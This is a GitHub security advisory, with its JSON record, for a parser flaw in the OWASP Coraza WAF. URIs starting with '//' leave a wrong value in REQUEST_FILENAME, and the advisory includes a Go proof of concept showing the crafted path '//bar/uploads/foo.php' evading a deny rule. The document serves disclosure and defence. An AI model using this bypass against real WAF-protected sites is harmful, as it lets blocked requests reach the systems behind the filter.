GHSA-Q9F5-625G-XM39

Vulnerability from github – Published: 2025-03-20 18:48 – Updated: 2025-03-20 18:48
VLAI?
Summary
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
Details

Summary

URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

package main

import (
    "fmt"
    "net/url"
    "os"

    "github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
    var testURL = "//bar/uploads/foo.php"

    if os.Getenv("TEST_URL") != "" {
        testURL = os.Getenv("TEST_URL")
    }

    fmt.Printf("Testing URL: %s\n", testURL)

    config := coraza.NewWAFConfig().WithDirectives(testRule)

    waf, err := coraza.NewWAF(config)

    if err != nil {
        panic(err)
    }

    tx := waf.NewTransaction()

    tx.ProcessURI(testURL, "GET", "HTTP/1.1")

    in := tx.ProcessRequestHeaders()

    if in != nil {
        fmt.Printf("%+v\n", in)
    }
}

Impact

Potential bypass of rules using REQUEST_FILENAME.

Severity ?
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jptosso/coraza-waf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-29914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T18:48:38Z",
    "nvd_published_at": "2025-03-20T18:15:18Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nURLs starting with `//` are not parsed properly, and the request `REQUEST_FILENAME` variable contains a wrong value, leading to potential rules bypass.\n\n### Details\n\nIf a request is made on an URI starting with `//`, coraza will set a wrong value in `REQUEST_FILENAME`.\nFor example, if the URI `//bar/uploads/foo.php?a=b` is passed to coraza: , `REQUEST_FILENAME` will be set to `/uploads/foo.php`.\n\nThe root cause is the usage of `url.Parse` to parse the URI in [ProcessURI](https://github.com/corazawaf/coraza/blob/8b612f4e6e18c606e371110227bc7669dc714cab/internal/corazawaf/transaction.go#L768).\n\n`url.Parse` can parse both absolute URLs (starting with a scheme) or relative ones (just the path). \n`//bar/uploads/foo.php` is a valid absolute URI (the scheme is empty), `url.Parse` will consider `bar` as the host and the path will be set to `/uploads/foo.php`.\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\n\t\"github.com/corazawaf/coraza/v3\"\n)\n\nconst testRule = `\nSecDebugLogLevel 9\nSecDebugLog /dev/stdout\nSecRule REQUEST_FILENAME \"@rx /bar/uploads/.*\\.(h?ph(p|tm?l?|ar)|module|shtml)\" \"id:1,phase:1,deny\"\n`\n\nfunc main() {\n\tvar testURL = \"//bar/uploads/foo.php\"\n\n\tif os.Getenv(\"TEST_URL\") != \"\" {\n\t\ttestURL = os.Getenv(\"TEST_URL\")\n\t}\n\n\tfmt.Printf(\"Testing URL: %s\\n\", testURL)\n\n\tconfig := coraza.NewWAFConfig().WithDirectives(testRule)\n\n\twaf, err := coraza.NewWAF(config)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttx := waf.NewTransaction()\n\n\ttx.ProcessURI(testURL, \"GET\", \"HTTP/1.1\")\n\n\tin := tx.ProcessRequestHeaders()\n\n\tif in != nil {\n\t\tfmt.Printf(\"%+v\\n\", in)\n\t}\n}\n```\n\n### Impact\n\nPotential bypass of rules using `REQUEST_FILENAME`.",
  "id": "GHSA-q9f5-625g-xm39",
  "modified": "2025-03-20T18:48:38Z",
  "published": "2025-03-20T18:48:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-q9f5-625g-xm39"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/4722c9ad0d502abd56b8d6733c6b47eb4111742d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`"
}


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